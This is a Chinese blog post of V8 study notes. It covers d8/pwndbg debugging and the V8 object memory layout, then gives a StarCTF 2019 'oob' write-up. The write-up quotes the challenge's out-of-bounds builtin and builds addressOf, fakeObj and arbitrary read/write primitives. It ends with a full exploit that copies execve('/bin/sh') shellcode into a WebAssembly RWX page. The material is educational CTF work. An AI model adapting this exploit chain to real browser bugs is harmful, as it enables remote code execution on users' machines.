v8 study
v8环境搭建看这里
现在的v8采用的是Ignition(JIT生成) + TurboFan(优化)
v8调试
安装pwngdb
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
将v8/tools/目录下的gdbinit和gdb-v8-support.py添加到~/.gdbinit
source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py
之后就可以使用%DebugPrint(x)来输出调试信息,使用%SystemBreak()来对程序下断点。
但是js本身是没有%这种语法的,执行时要加上--allow-natives-syntax
写个脚本测试下
$ cat ./example/test.js
arr = [1, 2, 3]
%DebugPrint(a);
%SystemBreak();
$ ./d8 --allow-natives-syntax ./example/test.js
DebugPrint: 0x7900010bdfd: [JSArray]
- map: 0x07900024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x07900024e2f9 <JSArray[0]>
- elements: 0x07900025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x0790000022a9 <FixedArray[0]>
- All own properties (excluding elements): {
0x79000006e61: [String] in ReadOnlySpace: #length: 0x079000204285 <AccessorInfo name= 0x079000006e61 <String[6]: #length>, data= 0x0790000022e1 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x07900025a7bd <FixedArray[3]> {
0: 1
1: 2
2: 3
}
0x7900024e0b5: [Map] in OldSpace
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0790000022e1 <undefined>
- prototype_validity cell: 0x079000003875 <Cell value= 1>
- instance descriptors #1: 0x07900024e865 <DescriptorArray[1]>
- transitions #1: 0x07900024e881 <TransitionArray[4]>Transition array #1:
0x079000007d55 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x07900024e899 <Map[16](HOLEY_SMI_ELEMENTS)>
- prototype: 0x07900024e2f9 <JSArray[0]>
- constructor: 0x07900024e021 <JSFunction Array (sfi = 0x7900021d455)>
- dependent code: 0x0790000022b9 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
可以看出打印出了数组大小,内容以及数据类型等相关信息,数组成员被存储为了SMI(small integer)类型
使用GDB调试
$ gdb d8
pwndbg> r --allow-natives-syntax ./example/test.js
[New Thread 0x7f7491b4a700 (LWP 2571)]
DebugPrint: 0x1e840010be29: [JSArray]
- map: 0x1e840024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x1e840024e2f9 <JSArray[0]>
- elements: 0x1e840025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x1e84000022a9 <FixedArray[0]>
- All own properties (excluding elements): {
0x1e8400006e61: [String] in ReadOnlySpace: #length: 0x1e8400204285 <AccessorInfo name= 0x1e8400006e61 <String[6]: #length>, data= 0x1e84000022e1 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x1e840025a7bd <FixedArray[3]> {
0: 1
1: 2
2: 3
}
0x1e840024e0b5: [Map] in OldSpace
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x1e84000022e1 <undefined>
- prototype_validity cell: 0x1e8400003875 <Cell value= 1>
- instance descriptors #1: 0x1e840024e865 <DescriptorArray[1]>
- transitions #1: 0x1e840024e881 <TransitionArray[4]>Transition array #1:
0x1e8400007d55 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x1e840024e899 <Map[16](HOLEY_SMI_ELEMENTS)>
- prototype: 0x1e840024e2f9 <JSArray[0]>
- constructor: 0x1e840024e021 <JSFunction Array (sfi = 0x1e840021d455)>
- dependent code: 0x1e84000022b9 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
pwndbg> job 0x1e840010be29
0x1e840010be29: [JSArray]
- map: 0x1e840024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x1e840024e2f9 <JSArray[0]>
- elements: 0x1e840025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x1e84000022a9 <FixedArray[0]>
- All own properties (excluding elements): {
0x1e8400006e61: [String] in ReadOnlySpace: #length: 0x1e8400204285 <AccessorInfo name= 0x1e8400006e61 <String[6]: #length>, data= 0x1e84000022e1 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x1e840025a7bd <FixedArray[3]> {
0: 1
1: 2
2: 3
}
pwndbg> job 0x1e840025a7bd
0x1e840025a7bd: [FixedArray] in OldSpace
- map: 0x1e84000021e1 <Map(FIXED_ARRAY_TYPE)>
- length: 3
0: 1
1: 2
2: 3
pwndbg> x/8gx 0x1e840010be29-1
0x1e840010be28: 0x000022a90024e0b5 0x000000060025a7bd
0x1e840010be38: 0xbeadbeefbeadbeef 0xbeadbeefbeadbeef
0x1e840010be48: 0xbeadbeefbeadbeef 0xbeadbeefbeadbeef
0x1e840010be58: 0xbeadbeefbeadbeef 0xbeadbeefbeadbeef
pwndbg> x/8gx 0x1e840025a7bd-1
0x1e840025a7bc: 0x00000006000021e1 0x0000000400000002
0x1e840025a7cc: 0x000024d100000006 0x0025a7bd00000000
0x1e840025a7dc: 0x0000000400002169 0x0025a7290025a7d1
0x1e840025a7ec: 0x0000002e0000320d 0x00003f790025a7dd
job命令可以查看js object的内存分布。但是job命令的地址是真实地址+1
在v8中地址进行了压缩,只保存低32bit,高位地址都一样
可以看出在0x1e840010be29-1就是存储的arr这个数组的信息,依次分别是map|properties|elements|length
- map: 0x1e840024e0b5
- elements: 0x1e840025a7bd
- length: 3
- properties: 0x1e84000022a9
0x1e840010be28: 0x000022a9|0024e0b5 0x00000006|0025a7bd
这里的length乘了2,后面存储的数组元素也乘了2,应该是v8的特性吧
在elements-1即0x1e840025a7bc出可以看出存储的分别是map|length|arr
- map: 0x1e84000021e1 <Map(FIXED_ARRAY_TYPE)>
- length: 3
0: 1
1: 2
2: 3
0x1e840025a7bc: 0x00000006|000021e1 0x00000004|00000002
0x1e840025a7cc: 0x000024d1|00000006
上边有两个length,第一个是申请的长度,第二个是已使用的长度
存储double类型时按64bit的长度存储,存储的是真实值不会像integer一样乘2
star ctf oob
环境搭建
$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ git apply ../starctf/oob.diff
$ gclient sync -D
$ ./tools/dev/v8gen.py x64.release
$ ninja -C ./out.gn/x64.release
最后的测试poc要编译release版本,debug版本会有assert错误爆出。
先看一下这个版本的v8对象内存分布
$ cat ../../../v8_diff/star_ctf_oob/test.js
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
%SystemBreak();
$ ./d8 --allow-natives-syntax ../../../v8_diff/star_ctf_oob/test.js
DebugPrint: 0x4366814ddd9: [JSArray]
- map: 0x20060f5c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0c1ef0b11111 <JSArray[0]>
- elements: 0x04366814ddb1 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x2cbc7c180c71 <FixedArray[0]> {
#length: 0x07cfb95801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x04366814ddb1 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
0x20060f5c2ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x20060f5c2e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x07cfb9580609 <Cell value= 1>
- instance descriptors #1: 0x0c1ef0b11f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x0c1ef0b11eb9 <TransitionArray[4]>Transition array #1:
0x2cbc7c184ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x20060f5c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x0c1ef0b11111 <JSArray[0]>
- constructor: 0x0c1ef0b10ec1 <JSFunction Array (sfi = 0x7cfb958aca1)>
- dependent code: 0x2cbc7c1802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
pwndbg> x/8gx 0x04366814ddb1-1
0x4366814ddb0: 0x00002cbc7c1814f9 0x0000000300000000
0x4366814ddc0: 0x3ff199999999999a 0x400199999999999a
0x4366814ddd0: 0x400a666666666666 0x000020060f5c2ed9
0x4366814dde0: 0x00002cbc7c180c71 0x000004366814ddb1
pwndbg> x/8gx 0x4366814ddd9-1
0x4366814ddd8: 0x000020060f5c2ed9 0x00002cbc7c180c71
0x4366814dde8: 0x000004366814ddb1 0x0000000300000000
0x4366814ddf8: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x4366814de08: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
可以看出a的元素后面紧跟着a的map addr
看下题目给的diff文件,发现主要是给array增加了一个oob方法,当参数个数为1时可以越界读一个内存单位,参数个数为2是可以越界写。而c++必有一个参数this,所以其实就是无参越界读,有参越界写
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
所以我们通过这个越界写将一个对象的map修改为数组的map这样就可以实现任意读,这个过程可以封装成addressOf
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
将一个数组的map修改为对象的map可以伪造出一个对象,封装为fakeObj.
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array.oob(obj_map); // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
double_array.oob(array_map); // 改回来,以便后续需要的时候使用
return faked_obj;
}
任意读
一个arr的堆分布应该是map|length|arr value|map|properties|elements|length,其中elements指向第一个map的地址
我们首先构造一个fake_array,其第一个元素是array_map对应上边的第二个map,那elements就是fake_array[2],将fake_array[2]修改为要读取的地址 - len(map + length) + 1就可以读出改地址的数据。
任意写同理。
var fake_array = [
array_map,
itof(0n),
itof(0x41414141n),
itof(0x100000000n),
];
function read(addr)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
fake_object[0] = itof(data);
}
任意读写实现了那么怎么执行命令呢,可以通过执行wasm的shellcode来进行提权等操作,wasm是js中一种类似汇编的存在,所在的段具有rwx权限。
获取rwx_addr
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr, ftoi(rwx_addr));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
最后的exp
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array.oob(obj_map); // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
double_array.oob(array_map); // 改回来,以便后续需要的时候使用
return faked_obj;
}
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
function read64(addr)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
fake_object[0] = itof(data);
}
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr, ftoi(rwx_addr));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();
var fake_array = [
array_map,
itof(0n),
itof(0x41414141n),
itof(0x100000000n),
];
fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
参考
从0开始学V8漏洞利用之starctf 2019 OOB(三)
v8利用初探 2019 StarCTF oob 复现分析
本文来自博客园,作者:岁云暮,转载请注明原文链接:https://www.cnblogs.com/awesome-red/p/17069105.html